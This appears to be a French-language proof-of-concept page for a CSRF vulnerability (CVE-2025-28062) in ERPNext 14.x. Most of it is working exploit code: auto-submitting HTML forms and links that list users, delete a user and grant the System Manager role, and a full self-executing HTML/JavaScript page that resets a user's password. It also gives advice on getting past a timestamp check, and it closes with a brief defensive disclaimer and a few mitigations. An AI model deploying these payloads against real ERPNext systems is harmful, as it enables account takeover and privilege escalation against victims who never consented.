thvt0ne/cve-2025-28062preuve de concept
Une vulnérabilité de Cross-Site Request Forgery (CSRF) a été découverte dans ERPNext 14.82.1 et 14.74.3, permettant aux attaquants d'effectuer des actions non autorisées telles que :
La vulnérabilité provient d'une absence de protection CSRF sur les points de terminaison API administratifs critiques. Si un administrateur authentifié visite un site Web malveillant, sa session est utilisée abusivement pour effectuer ces actions sans son consentement.
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Click to delete user
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
Add "System Manager" role to user
</a>
💡 Voir le payload JSON complet dans le dépôt :
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
function performCSRF() {
// Target API URL
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// JSON Payload
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Create and submit the form
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Correct parameter name
input.value = encodedPayload; // Correct encoding
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Correct parameter name
input2.value = "Save"; // Correct encoding
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Execute CSRF after waiting to ensure cookies are set
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
Cette image simule un administrateur ayant visité un site Web malveillant :
Remarque : si la valeur de Modified Timestamps (horodatage de modification) est ancienne, le site Web peut afficher ce message :
et pour la contourner, utilisez la page HTML http:// localhost:8080/api/resource/User/[email protected][owner] et récupérez le Modified timestamp (pour faciliter le PoC).
Remplacez-le dans le contenu de la page par le plus récent :
Une fois envoyé, cela changera le mot de passe de l'utilisateur !!.
Si un administrateur authentifié visite cette page Web, sa session sera utilisée pour exécuter la demande de changement de mot de passe du compte sans aucune interaction de sa part.
Un attaquant héberge une page malveillante. Si un administrateur ERPNext la visite alors qu'il est connecté, son navigateur déclenche automatiquement des requêtes spécialement conçues vers ERPNext, provoquant des modifications ou des suppressions de comptes à son insu.
GET pour des actions telles que la sauvegarde/suppressionSameSite=StrictDécouvert par Ahmed Thaiban Thvt0ne.
Cette recherche est destinée uniquement à des fins défensives. L'objectif est de sensibiliser et d'encourager les pratiques de développement sécurisé.